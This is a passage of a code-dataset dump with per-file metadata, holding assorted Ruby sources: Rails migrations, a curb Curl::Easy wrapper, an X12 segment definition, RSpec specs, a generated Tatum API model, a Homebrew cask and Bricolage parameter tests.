hexsha
stringlengths
40
40
size
int64
2
1.01M
content
stringlengths
2
1.01M
avg_line_length
float64
1.5
100
max_line_length
int64
2
1k
alphanum_fraction
float64
0.25
1
bfebfa2e3fdbbc9506eb692ca7e9721d465e5937
190
class AddDurationForProjects < ActiveRecord::Migration def change add_column :projects, :project_start_date, :datetime add_column :projects, :project_end_date, :datetime end end
27.142857
56
0.784211
bbf5f3c9d0bbd29777f7df74d9be968ae539244e
1,930
# Copyright © 2011 MUSC Foundation for Research Development # All rights reserved. # Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: # 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following # disclaimer in the documentation and/or other materials provided with the distribution. # 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products # derived from this software without specific prior written permission. # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, # BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT # SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR # TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. class AddFieldsToSubjects < ActiveRecord::Migration def change add_column :subjects, :arm_id, :integer add_column :subjects, :name, :string add_column :subjects, :mrn, :string add_column :subjects, :external_subject_id, :string add_column :subjects, :dob, :date add_column :subjects, :gender, :string add_column :subjects, :ethnicity, :string end end
56.764706
145
0.783938
33b18a4ea5b96c3a566eecd63ab728e76a1106d3
14,219
module Curl class Easy alias post http_post alias put http_put # # call-seq: # easy.status => String # def status parts = self.header_str.split(/\s/) status = [] parts.shift while parts.size > 0 && parts.first != '' status << parts.shift end status.join(' ') end # # call-seq: # easy.set :sym|Fixnum, value # # set options on the curl easy handle see http://curl.haxx.se/libcurl/c/curl_easy_setopt.html # def set(opt,val) if opt.is_a?(Symbol) setopt(sym2curl(opt), val) else setopt(opt.to_i, val) end end # # call-seq: # easy.sym2curl :symbol => Fixnum # # translates ruby symbols to libcurl options # def sym2curl(opt) Curl.const_get("CURLOPT_#{opt.to_s.upcase}") end # # call-seq: # easy.perform => true # # Transfer the currently configured URL using the options set for this # Curl::Easy instance. If this is an HTTP URL, it will be transferred via # the configured HTTP Verb. # def perform self.multi = Curl::Multi.new if self.multi.nil? self.multi.add self ret = self.multi.perform if self.last_result != 0 && self.on_failure.nil? error = Curl::Easy.error(self.last_result) raise error.first end ret end # # call-seq: # # easy = Curl::Easy.new # easy.nosignal = true # def nosignal=(onoff) set :nosignal, !!onoff end # # call-seq: # easy = Curl::Easy.new("url") do|c| # c.delete = true # end # easy.perform # def delete=(onoff) set :customrequest, onoff ? 'delete' : nil onoff end # # call-seq: # # easy = Curl::Easy.new("url") # easy.version = Curl::HTTP_1_1 # easy.version = Curl::HTTP_1_0 # easy.version = Curl::HTTP_NONE # def version=(http_version) set :http_version, http_version end # # call-seq: # easy.url = "http://some.url/" => "http://some.url/" # # Set the URL for subsequent calls to +perform+. It is acceptable # (and even recommended) to reuse Curl::Easy instances by reassigning # the URL between calls to +perform+. # def url=(u) set :url, u end # # call-seq: # easy.proxy_url = string => string # # Set the URL of the HTTP proxy to use for subsequent calls to +perform+. # The URL should specify the the host name or dotted IP address. To specify # port number in this string, append :[port] to the end of the host name. # The proxy string may be prefixed with [protocol]:// since any such prefix # will be ignored. The proxy's port number may optionally be specified with # the separate option proxy_port . # # When you tell the library to use an HTTP proxy, libcurl will transparently # convert operations to HTTP even if you specify an FTP URL etc. This may have # an impact on what other features of the library you can use, such as # FTP specifics that don't work unless you tunnel through the HTTP proxy. Such # tunneling is activated with proxy_tunnel = true. # # libcurl respects the environment variables *http_proxy*, *ftp_proxy*, # *all_proxy* etc, if any of those is set. The proxy_url option does however # override any possibly set environment variables. # # Starting with libcurl 7.14.1, the proxy host string given in environment # variables can be specified the exact same way as the proxy can be set with # proxy_url, including protocol prefix (http://) and embedded user + password. # def proxy_url=(url) set :proxy, url end def ssl_verify_host=(value) value = 1 if value.class == TrueClass value = 0 if value.class == FalseClass self.ssl_verify_host_integer=value end # # call-seq: # easy.ssl_verify_host? => boolean # # Deprecated: call easy.ssl_verify_host instead # can be one of [0,1,2] # # Determine whether this Curl instance will verify that the server cert # is for the server it is known as. # def ssl_verify_host? ssl_verify_host.nil? ? false : (ssl_verify_host > 0) end # # call-seq: # easy.interface = string => string # # Set the interface name to use as the outgoing network interface. # The name can be an interface name, an IP address or a host name. # def interface=(value) set :interface, value end # # call-seq: # easy.userpwd = string => string # # Set the username/password string to use for subsequent calls to +perform+. # The supplied string should have the form "username:password" # def userpwd=(value) set :userpwd, value end # # call-seq: # easy.proxypwd = string => string # # Set the username/password string to use for proxy connection during # subsequent calls to +perform+. The supplied string should have the # form "username:password" # def proxypwd=(value) set :proxyuserpwd, value end # # call-seq: # easy.cookies = "name1=content1; name2=content2;" => string # # Set cookies to be sent by this Curl::Easy instance. The format of the string should # be NAME=CONTENTS, where NAME is the cookie name and CONTENTS is what the cookie should contain. # Set multiple cookies in one string like this: "name1=content1; name2=content2;" etc. # def cookies=(value) set :cookie, value end # # call-seq: # easy.cookiefile = string => string # # Set a file that contains cookies to be sent in subsequent requests by this Curl::Easy instance. # # *Note* that you must set enable_cookies true to enable the cookie # engine, or this option will be ignored. # def cookiefile=(value) set :cookiefile, value end # # call-seq: # easy.cookiejar = string => string # # Set a cookiejar file to use for this Curl::Easy instance. # Cookies from the response will be written into this file. # # *Note* that you must set enable_cookies true to enable the cookie # engine, or this option will be ignored. # def cookiejar=(value) set :cookiejar, value end # # call-seq: # easy = Curl::Easy.new("url") do|c| # c.head = true # end # easy.perform # def head=(onoff) set :nobody, onoff end # # call-seq: # easy.follow_location = boolean => boolean # # Configure whether this Curl instance will follow Location: headers # in HTTP responses. Redirects will only be followed to the extent # specified by +max_redirects+. # def follow_location=(onoff) set :followlocation, onoff end # # call-seq: # easy.http_head => true # # Request headers from the currently configured URL using the HEAD # method and current options set for this Curl::Easy instance. This # method always returns true, or raises an exception (defined under # Curl::Err) on error. # def http_head set :nobody, true ret = self.perform set :nobody, false ret end # # call-seq: # easy.http_get => true # # GET the currently configured URL using the current options set for # this Curl::Easy instance. This method always returns true, or raises # an exception (defined under Curl::Err) on error. # def http_get set :httpget, true http :GET end alias get http_get # # call-seq: # easy.http_delete # # DELETE the currently configured URL using the current options set for # this Curl::Easy instance. This method always returns true, or raises # an exception (defined under Curl::Err) on error. # def http_delete self.http :DELETE end alias delete http_delete class << self # # call-seq: # Curl::Easy.perform(url) { |easy| ... } => #&lt;Curl::Easy...&gt; # # Convenience method that creates a new Curl::Easy instance with # the specified URL and calls the general +perform+ method, before returning # the new instance. For HTTP URLs, this is equivalent to calling +http_get+. # # If a block is supplied, the new instance will be yielded just prior to # the +http_get+ call. # def perform(*args) c = Curl::Easy.new(*args) yield c if block_given? c.perform c end # # call-seq: # Curl::Easy.http_get(url) { |easy| ... } => #&lt;Curl::Easy...&gt; # # Convenience method that creates a new Curl::Easy instance with # the specified URL and calls +http_get+, before returning the new instance. # # If a block is supplied, the new instance will be yielded just prior to # the +http_get+ call. # def http_get(*args) c = Curl::Easy.new(*args) yield c if block_given? c.http_get c end # # call-seq: # Curl::Easy.http_head(url) { |easy| ... } => #&lt;Curl::Easy...&gt; # # Convenience method that creates a new Curl::Easy instance with # the specified URL and calls +http_head+, before returning the new instance. # # If a block is supplied, the new instance will be yielded just prior to # the +http_head+ call. # def http_head(*args) c = Curl::Easy.new(*args) yield c if block_given? c.http_head c end # # call-seq: # Curl::Easy.http_put(url, data) {|c| ... } # # see easy.http_put # def http_put(url, data) c = Curl::Easy.new url yield c if block_given? c.http_put data c end # # call-seq: # Curl::Easy.http_post(url, "some=urlencoded%20form%20data&and=so%20on") => true # Curl::Easy.http_post(url, "some=urlencoded%20form%20data", "and=so%20on", ...) => true # Curl::Easy.http_post(url, "some=urlencoded%20form%20data", Curl::PostField, "and=so%20on", ...) => true # Curl::Easy.http_post(url, Curl::PostField, Curl::PostField ..., Curl::PostField) => true # # POST the specified formdata to the currently configured URL using # the current options set for this Curl::Easy instance. This method # always returns true, or raises an exception (defined under # Curl::Err) on error. # # If you wish to use multipart form encoding, you'll need to supply a block # in order to set multipart_form_post true. See #http_post for more # information. # def http_post(*args) url = args.shift c = Curl::Easy.new url yield c if block_given? c.http_post(*args) c end # # call-seq: # Curl::Easy.http_delete(url) { |easy| ... } => #&lt;Curl::Easy...&gt; # # Convenience method that creates a new Curl::Easy instance with # the specified URL and calls +http_delete+, before returning the new instance. # # If a block is supplied, the new instance will be yielded just prior to # the +http_delete+ call. # def http_delete(*args) c = Curl::Easy.new(*args) yield c if block_given? c.http_delete c end # call-seq: # Curl::Easy.download(url, filename = url.split(/\?/).first.split(/\//).last) { |curl| ... } # # Stream the specified url (via perform) and save the data directly to the # supplied filename (defaults to the last component of the URL path, which will # usually be the filename most simple urls). # # If a block is supplied, it will be passed the curl instance prior to the # perform call. # # *Note* that the semantics of the on_body handler are subtly changed when using # download, to account for the automatic routing of data to the specified file: The # data string is passed to the handler *before* it is written # to the file, allowing the handler to perform mutative operations where # necessary. As usual, the transfer will be aborted if the on_body handler # returns a size that differs from the data chunk size - in this case, the # offending chunk will *not* be written to the file, the file will be closed, # and a Curl::Err::AbortedByCallbackError will be raised. def download(url, filename = url.split(/\?/).first.split(/\//).last, &blk) curl = Curl::Easy.new(url, &blk) output = if filename.is_a? IO filename.binmode if filename.respond_to?(:binmode) filename else File.open(filename, 'wb') end begin old_on_body = curl.on_body do |data| result = old_on_body ? old_on_body.call(data) : data.length output << data if result == data.length result end curl.perform ensure output.close rescue IOError end return curl end end # Allow the incoming cert string to be file:password # but be careful to not use a colon from a windows file path # as the split point. Mimic what curl's main does if respond_to?(:cert=) alias_method :native_cert=, :cert= def cert=(cert_file) pos = cert_file.rindex(':') if pos && pos > 1 self.native_cert= cert_file[0..pos-1] self.certpassword= cert_file[pos+1..-1] else self.native_cert= cert_file end self.cert end end end end
30.317697
113
0.587313
e98f2d613e879830cec4029f7994db004fa6aa00
1,003
module Stupidedi module Versions module FunctionalGroups module FiftyTen module SegmentDefs s = Schema e = ElementDefs r = ElementReqs N4 = s::SegmentDef.build(:N4, "Geographic Location", "To specify the geographic place of the named party", e::E19 .simple_use(r::Optional, s::RepeatCount.bounded(1)), e::E156 .simple_use(r::Relational, s::RepeatCount.bounded(1)), e::E116 .simple_use(r::Optional, s::RepeatCount.bounded(1)), e::E26 .simple_use(r::Relational, s::RepeatCount.bounded(1)), e::E309 .simple_use(r::Relational, s::RepeatCount.bounded(1)), e::E310 .simple_use(r::Optional, s::RepeatCount.bounded(1)), e::E1715.simple_use(r::Relational, s::RepeatCount.bounded(1)), SyntaxNotes::E.build(2, 7), SyntaxNotes::C.build(6, 5), SyntaxNotes::C.build(7, 4)) end end end end end
33.433333
74
0.578265
33bd924d17c153fb4cc11b096f6b373e7f41198f
2,460
# Copyright © 2011-2020 MUSC Foundation for Research Development~ # All rights reserved.~ # Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:~ # 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.~ # 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following~ # disclaimer in the documentation and/or other materials provided with the distribution.~ # 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products~ # derived from this software without specific prior written permission.~ # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING,~ # BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT~ # SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL~ # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS~ # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR~ # TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.~ require 'rails_helper' RSpec.describe 'dashboard/protocol_filters/_saved_searches', type: :view do context 'no ProtocolFilters present' do before :each do render 'dashboard/protocol_filters/saved_searches', protocol_filters: [] end it 'should not display the filters list' do expect(response).to have_selector('#savedFilters.d-none') end end context 'ProtocolFilters present' do before(:each) do filters = [double('protocol_filter', id: 1, search_name: 'My Awesome Filter', href: '' )] render 'dashboard/protocol_filters/saved_searches', protocol_filters: filters end it 'should display list' do expect(response).to have_selector('#savedFilters:not(.d-none)') end it 'should display their names' do expect(response).to have_selector('a', text: 'My Awesome Filter') end end end
45.555556
146
0.752033
087b56fa0f73961315be873b6334c93ff8b3b2d8
5,947
=begin #Tatum API ## Authentication <!-- ReDoc-Inject: <security-definitions> --> OpenAPI spec version: 3.9.0 Generated by: https://github.com/swagger-api/swagger-codegen.git Swagger Codegen version: 3.0.31 =end require 'date' module Tatum class OneOfbitcoinTransactionBody # Attribute mapping from ruby-style variable name to JSON key. def self.attribute_map { } end # Attribute type mapping. def self.openapi_types { } end # List of attributes with nullable: true def self.openapi_nullable Set.new([ ]) end # Initializes the object # @param [Hash] attributes Model attributes in the form of hash def initialize(attributes = {}) if (!attributes.is_a?(Hash)) fail ArgumentError, "The input argument (attributes) must be a hash in `Tatum::OneOfbitcoinTransactionBody` initialize method" end # check to see if the attribute exists and convert string to symbol for hash key attributes = attributes.each_with_object({}) { |(k, v), h| if (!self.class.attribute_map.key?(k.to_sym)) fail ArgumentError, "`#{k}` is not a valid attribute in `Tatum::OneOfbitcoinTransactionBody`. Please check the name to make sure it's valid. List of attributes: " + self.class.attribute_map.keys.inspect end h[k.to_sym] = v } end # Show invalid properties with the reasons. Usually used together with valid? # @return Array for valid properties with the reasons def list_invalid_properties invalid_properties = Array.new invalid_properties end # Check to see if the all the properties in the model are valid # @return true if the model is valid def valid? true end # Checks equality by comparing each attribute. # @param [Object] Object to be compared def ==(o) return true if self.equal?(o) self.class == o.class end # @see the `==` method # @param [Object] Object to be compared def eql?(o) self == o end # Calculates hash code according to all attributes. # @return [Integer] Hash code def hash [].hash end # Builds the object from hash # @param [Hash] attributes Model attributes in the form of hash # @return [Object] Returns the model itself def self.build_from_hash(attributes) new.build_from_hash(attributes) end # Builds the object from hash # @param [Hash] attributes Model attributes in the form of hash # @return [Object] Returns the model itself def build_from_hash(attributes) return nil unless attributes.is_a?(Hash) self.class.openapi_types.each_pair do |key, type| if type =~ /\AArray<(.*)>/i # check to ensure the input is an array given that the attribute # is documented as an array but the input is not if attributes[self.class.attribute_map[key]].is_a?(Array) self.send("#{key}=", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) }) end elsif !attributes[self.class.attribute_map[key]].nil? self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]])) elsif attributes[self.class.attribute_map[key]].nil? && self.class.openapi_nullable.include?(key) self.send("#{key}=", nil) end end self end # Deserializes the data based on type # @param string type Data type # @param string value Value to be deserialized # @return [Object] Deserialized data def _deserialize(type, value) case type.to_sym when :DateTime DateTime.parse(value) when :Date Date.parse(value) when :String value.to_s when :Integer value.to_i when :Float value.to_f when :Boolean if value.to_s =~ /\A(true|t|yes|y|1)\z/i true else false end when :Object # generic object (usually a Hash), return directly value when /\AArray<(?<inner_type>.+)>\z/ inner_type = Regexp.last_match[:inner_type] value.map { |v| _deserialize(inner_type, v) } when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/ k_type = Regexp.last_match[:k_type] v_type = Regexp.last_match[:v_type] {}.tap do |hash| value.each do |k, v| hash[_deserialize(k_type, k)] = _deserialize(v_type, v) end end else # model Tatum.const_get(type).build_from_hash(value) end end # Returns the string representation of the object # @return [String] String presentation of the object def to_s to_hash.to_s end # to_body is an alias to to_hash (backward compatibility) # @return [Hash] Returns the object in the form of hash def to_body to_hash end # Returns the object in the form of hash # @return [Hash] Returns the object in the form of hash def to_hash hash = {} self.class.attribute_map.each_pair do |attr, param| value = self.send(attr) if value.nil? is_nullable = self.class.openapi_nullable.include?(attr) next if !is_nullable || (is_nullable && !instance_variable_defined?(:"@#{attr}")) end hash[param] = _to_hash(value) end hash end # Outputs non-array value in the form of hash # For object, use to_hash. Otherwise, just return the value # @param [Object] value Any valid value # @return [Hash] Returns the value in the form of hash def _to_hash(value) if value.is_a?(Array) value.compact.map { |v| _to_hash(v) } elsif value.is_a?(Hash) {}.tap do |hash| value.each { |k, v| hash[k] = _to_hash(v) } end elsif value.respond_to? :to_hash value.to_hash else value end end end end
30.035354
212
0.625189
6167072ad8f272c851fba60e78bb9f998c7e8034
664
cask "altair-graphql-client" do version "3.2.2" sha256 "c5c5179cf61369305aae26f2be082bd2b473757c7c7deca706a0beff5d83dc4f" url "https://github.com/imolorhe/altair/releases/download/v#{version}/altair_#{version}_mac.zip", verified: "github.com/imolorhe/altair/" name "Altair GraphQL Client" desc "GraphQL client" homepage "https://altair.sirmuel.design/" app "Altair GraphQL Client.app" zap trash: [ "~/Library/Application Support/altair", "~/Library/Preferences/com.electron.altair.helper.plist", "~/Library/Preferences/com.electron.altair.plist", "~/Library/Saved Application State/com.electron.altair.savedState", ] end
33.2
99
0.740964
f830ad699af49b60323f8a16f2db75389b372ae3
289
require "ruby_rails_helper/version" require "ruby_rails_helper/ext/pry" require "colorize" require 'mechanize' require "ruby_rails_helper/scrapers/indexer" require "ruby_rails_helper/cli" module RubyRailsHelper def self.load_test puts 'ruby_rails_helper was loaded'.green end end
22.230769
45
0.816609
6217b7892ba01b3a076e575324e1668b04ddaa3a
391
module SolidusJwt module Distributor module Devise def after_sign_in_path_for(resource) # Send back json web token in redirect header if try_spree_current_user response.headers['X-SPREE-TOKEN'] = try_spree_current_user. generate_jwt_token(expires_in: SolidusJwt::Config.jwt_expiration) end super end end end end
24.4375
77
0.675192
d5d7889b70552a54741808f9bed26dd3e4e3fb7f
1,018
require "rails_helper" RSpec.describe(CompaniesController, type: :routing) do describe "routing" do it "routes to #index" do expect(get: "/companies").to(route_to("companies#index")) end it "routes to #new" do expect(get: "/companies/new").to(route_to("companies#new")) end it "routes to #show" do expect(get: "/companies/1").to(route_to("companies#show", id: "1")) end it "routes to #edit" do expect(get: "/companies/1/edit").to(route_to("companies#edit", id: "1")) end it "routes to #create" do expect(post: "/companies").to(route_to("companies#create")) end it "routes to #update via PUT" do expect(put: "/companies/1").to(route_to("companies#update", id: "1")) end it "routes to #update via PATCH" do expect(patch: "/companies/1").to(route_to("companies#update", id: "1")) end it "routes to #destroy" do expect(delete: "/companies/1").to(route_to("companies#destroy", id: "1")) end end end
26.789474
79
0.620825
1def5e6a7cecd6aa598b9f085db6103a22fa6dca
15,114
require 'test/unit' require 'bricolage/parameters' require 'optparse' require 'pp' module Bricolage class TestParameters < Test::Unit::TestCase def apply_values(decls, values) parser = Parameters::DirectValueHandler.new(decls) parser.parse(values) end def apply_options(decls, argv) parser = Parameters::CommandLineOptionHandler.new(decls) opts = OptionParser.new parser.define_options(opts) opts.parse!(argv) parser.values end def wrap_decl(decl) Parameters::Declarations.new.tap {|params| params.add decl } end default_context = nil default_variables = ResolvedVariables.new # StringParam (8) test "StringParam (*.job)" do decls = wrap_decl StringParam.new('options', 'OPTIONS', 'Loader options.', optional: true) pvals = apply_values(decls, {'options' => 'gzip, maxerror=3'}) params = pvals.resolve(default_context, default_variables) assert_equal 'gzip, maxerror=3', params['options'] assert_false params.variables.bound?('options') end test "StringParam (--opt)" do decls = wrap_decl StringParam.new('options', 'OPTIONS', 'Loader options.', optional: true) pvals = apply_options(decls, ['--options=gzip, maxerror=3']) params = pvals.resolve(default_context, default_variables) assert_equal 'gzip, maxerror=3', params['options'] assert_false params.variables.bound?('options') end test "StringParam (default value)" do decls = wrap_decl StringParam.new('options', 'OPTIONS', 'Loader options.', optional: true) pvals = apply_values(decls, {}) params = pvals.resolve(default_context, default_variables) assert_nil params['options'] end test "StringParam (missing value)" do decls = wrap_decl StringParam.new('delete-cond', 'SQL_EXPR', 'DELETE condition.') pvals = apply_values(decls, {}) assert_raise(ParameterError) { pvals.resolve(default_context, default_variables) } end # BoolParam (0) # OptionalBoolParam (41) test "OptionalBoolParam (*.job)" do decls = wrap_decl OptionalBoolParam.new('vacuum-sort', 'VACUUM SORT table after SQL is executed.') pvals = apply_values(decls, {'vacuum-sort' => true}) params = pvals.resolve(default_context, default_variables) assert_true params['vacuum-sort'] assert_false params.variables.bound?('vacuum_sort') end test "OptionalBoolParam (--opt)" do decls = wrap_decl OptionalBoolParam.new('vacuum-sort', 'VACUUM SORT table after SQL is executed.', publish: true) pvals = apply_options(decls, ['--vacuum-sort']) params = pvals.resolve(default_context, default_variables) assert_true params['vacuum-sort'] assert_equal 'true', params.variables['vacuum_sort'] end test "OptionalBoolParam (default value #1)" do decls = wrap_decl OptionalBoolParam.new('vacuum', 'VACUUM table after SQL is executed.') pvals = apply_values(decls, {}) params = pvals.resolve(default_context, default_variables) assert_false params['vacuum'] assert_false params.variables.bound?('vacuum') end test "OptionalBoolParam (default value #2)" do decls = wrap_decl OptionalBoolParam.new('gzip', 'If true, compresses target file by gzip.', default: true) pvals = apply_values(decls, {}) params = pvals.resolve(default_context, default_variables) assert_true params['gzip'] assert_false params.variables.bound?('gzip') end # DateParam (2) test "DateParam (*.job)" do decls = wrap_decl DateParam.new('to', 'DATE', 'End date of logs to delete (%Y-%m-%d).') pvals = apply_values(decls, {'to' => '2014-01-23'}) params = pvals.resolve(default_context, default_variables) assert_equal Date.new(2014, 1, 23), params['to'] assert_false params.variables.bound?('to') end test "DateParam (--opt)" do decls = wrap_decl DateParam.new('to', 'DATE', 'End date of logs to delete (%Y-%m-%d).', publish: true) pvals = apply_options(decls, ['--to=2014-01-23']) params = pvals.resolve(default_context, default_variables) assert_equal Date.new(2014, 1, 23), params['to'] assert_equal '2014-01-23', params.variables['to'] end test "DateParam (default value)" do decls = wrap_decl DateParam.new('to', 'DATE', 'End date of logs to delete (%Y-%m-%d).', optional: true) pvals = apply_values(decls, {}) params = pvals.resolve(default_context, default_variables) assert_nil params['to'] assert_false params.variables.bound?('to') end # EnumParam (4) test "EnumParam (*.job)" do decls = wrap_decl EnumParam.new('format', %w(tsv json), 'Data file format.', default: 'tsv') pvals = apply_values(decls, {'format' => 'json'}) params = pvals.resolve(default_context, default_variables) assert_equal 'json', params['format'] assert_false params.variables.bound?('format') end test "EnumParam (--opt)" do decls = wrap_decl EnumParam.new('format', %w(tsv json), 'Data file format.', default: nil, publish: true) pvals = apply_options(decls, ['--format=tsv']) params = pvals.resolve(default_context, default_variables) assert_equal 'tsv', params['format'] assert_equal 'tsv', params.variables['format'] end test "EnumParam (default value)" do decls = wrap_decl EnumParam.new('format', %w(tsv json), 'Data file format.', default: 'tsv') pvals = apply_values(decls, {}) params = pvals.resolve(default_context, default_variables) assert_equal 'tsv', params['format'] end # DataSourceParam (17) class DummyContext_ds def initialize(kind, name, result) @kind = kind @name = name @result = result end def get_data_source(kind, name) if kind == @kind and name == @name @result else raise ParameterError, "wrong ds argument: #{kind}, #{name}" end end end DummyDataSource = Struct.new(:name) app_ds = DummyDataSource.new('app') sql_ds = DummyDataSource.new('sql') test "DataSourceParam (*.job)" do decls = wrap_decl DataSourceParam.new('sql') pvals = apply_values(decls, {'data-source' => 'app'}) ctx = DummyContext_ds.new('sql', app_ds.name, app_ds) params = pvals.resolve(ctx, default_variables) assert_equal app_ds, params['data-source'] assert_false params.variables.bound?('data-source') end test "DataSourceParam (--opt)" do decls = wrap_decl DataSourceParam.new('sql') pvals = apply_options(decls, ['--data-source=app']) ctx = DummyContext_ds.new('sql', app_ds.name, app_ds) params = pvals.resolve(ctx, default_variables) assert_equal app_ds, params['data-source'] assert_false params.variables.bound?('data-source') end test "DataSourceParam (default value)" do decls = wrap_decl DataSourceParam.new('sql') pvals = apply_values(decls, {}) ctx = DummyContext_ds.new('sql', nil, sql_ds) params = pvals.resolve(ctx, default_variables) assert_equal sql_ds, params['data-source'] assert_false params.variables.bound?('data-source') end # SQLFileParam (14) DummyContext_sqlfile = Struct.new(:name, :ext, :result) class DummyContext_sqlfile def parameter_file(_name, _ext) raise ParameterError, "bad argument: #{_name}, #{_ext}" unless [name, ext] == [_name, _ext] result end end dummy_sql_resource = StringResource.new("select * from t;") dummy_sql_file = SQLStatement.new(dummy_sql_resource) test "SQLFileParam (*.job)" do decls = wrap_decl SQLFileParam.new pvals = apply_values(decls, {'sql-file' => 'some_path.sql'}) ctx = DummyContext_sqlfile.new('some_path.sql', 'sql', dummy_sql_resource) params = pvals.resolve(ctx, default_variables) assert_equal dummy_sql_file, params['sql-file'] assert_false params.variables.bound?('sql_file') end test "SQLFileParam (--opt)" do decls = wrap_decl SQLFileParam.new pvals = apply_options(decls, ['--sql-file=some_path.sql']) ctx = DummyContext_sqlfile.new('some_path.sql', 'sql', dummy_sql_resource) params = pvals.resolve(ctx, default_variables) assert_equal dummy_sql_file, params['sql-file'] assert_false params.variables.bound?('sql_file') end test "SQLFileParam (default value)" do decls = wrap_decl SQLFileParam.new(optional: true) pvals = apply_values(decls, {}) params = pvals.resolve(default_context, default_variables) assert_nil params['sql-file'] end # DestTableParam (9) test "DestTableParam (*.job)" do decls = wrap_decl DestTableParam.new pvals = apply_values(decls, {'dest-table' => 'schemaA.tableA'}) params = pvals.resolve(default_context, default_variables) assert_equal TableSpec.new('schemaA', 'tableA'), params['dest-table'] assert_equal 'schemaA.tableA', params.variables['dest_table'] end test "DestTableParam (--opt)" do decls = wrap_decl DestTableParam.new(optional: false) pvals = apply_options(decls, ['--dest-table=schemaA.tableA']) params = pvals.resolve(default_context, default_variables) assert_equal TableSpec.new('schemaA', 'tableA'), params['dest-table'] assert_equal 'schemaA.tableA', params.variables['dest_table'] end test "DestTableParam (default value)" do decls = wrap_decl DestTableParam.new pvals = apply_values(decls, {}) params = pvals.resolve(default_context, default_variables) assert_nil params['dest-table'] assert_false params.variables.bound?('dest_table') end test "DestTableParam (variable expansion)" do decls = wrap_decl DestTableParam.new pvals = apply_values(decls, {'dest-table' => '$s.t'}) vars = ResolvedVariables.new vars.add ResolvedVariable.new('s', 'SCH') params = pvals.resolve(default_context, vars) assert_equal TableSpec.new('SCH', 't'), params['dest-table'] assert_equal 'SCH.t', params.variables['dest_table'] end test "DestTableParam (no such variable)" do decls = wrap_decl DestTableParam.new pvals = apply_values(decls, {'dest-table' => '$s.t'}) assert_raise(ParameterError) { pvals.resolve(default_context, default_variables) } end # SrcTableParam (9) test "SrcTableParam (*.job)" do decls = wrap_decl SrcTableParam.new pvals = apply_values(decls, {'src-tables' => {'a' => '$s.A', 'b' => 'B'}}) vars = ResolvedVariables.new vars.add ResolvedVariable.new('s', 'SCH') params = pvals.resolve(default_context, vars) srcs = {'a' => TableSpec.new('SCH', 'A'), 'b' => TableSpec.new(nil, 'B')} assert_equal srcs, params['src-tables'] assert_equal 'SCH.A', params.variables['a'] assert_equal 'B', params.variables['b'] end test "SrcTableParam (--opt)" do decls = wrap_decl SrcTableParam.new pvals = apply_options(decls, ['--src-table=a:A', '--src-table=b:B']) params = pvals.resolve(default_context, default_variables) srcs = {'a' => TableSpec.new(nil, 'A'), 'b' => TableSpec.new(nil, 'B')} assert_equal srcs, params['src-tables'] assert_equal 'A', params.variables['a'] assert_equal 'B', params.variables['b'] end test "SrcTableParam (default value)" do decls = wrap_decl SrcTableParam.new pvals = apply_values(decls, {}) params = pvals.resolve(default_context, default_variables) assert_equal({}, params['src-tables']) assert_false params.variables.bound?('a') assert_false params.variables.bound?('b') end # DestFileParam (7) test "DestFileParam (*.job)" do decls = wrap_decl DestFileParam.new pvals = apply_values(decls, {'dest-file' => '/some/path.txt'}) params = pvals.resolve(default_context, default_variables) assert_equal Pathname.new('/some/path.txt'), params['dest-file'] end test "DestFileParam (--opt)" do decls = wrap_decl DestFileParam.new pvals = apply_options(decls, ['--dest-file=/some/path.txt']) params = pvals.resolve(default_context, default_variables) assert_equal Pathname.new('/some/path.txt'), params['dest-file'] end test "DestFileParam (no value error)" do decls = wrap_decl DestFileParam.new pvals = apply_values(decls, {}) assert_raise(ParameterError) { pvals.resolve(default_context, default_variables) } end # SrcFileParam (2) test "SrcFileParam (*.job)" do decls = wrap_decl SrcFileParam.new pvals = apply_values(decls, {'src-file' => '/some/path.txt'}) params = pvals.resolve(default_context, default_variables) assert_equal Pathname.new('/some/path.txt'), params['src-file'] end test "SrcFileParam (--opt)" do decls = wrap_decl SrcFileParam.new pvals = apply_options(decls, 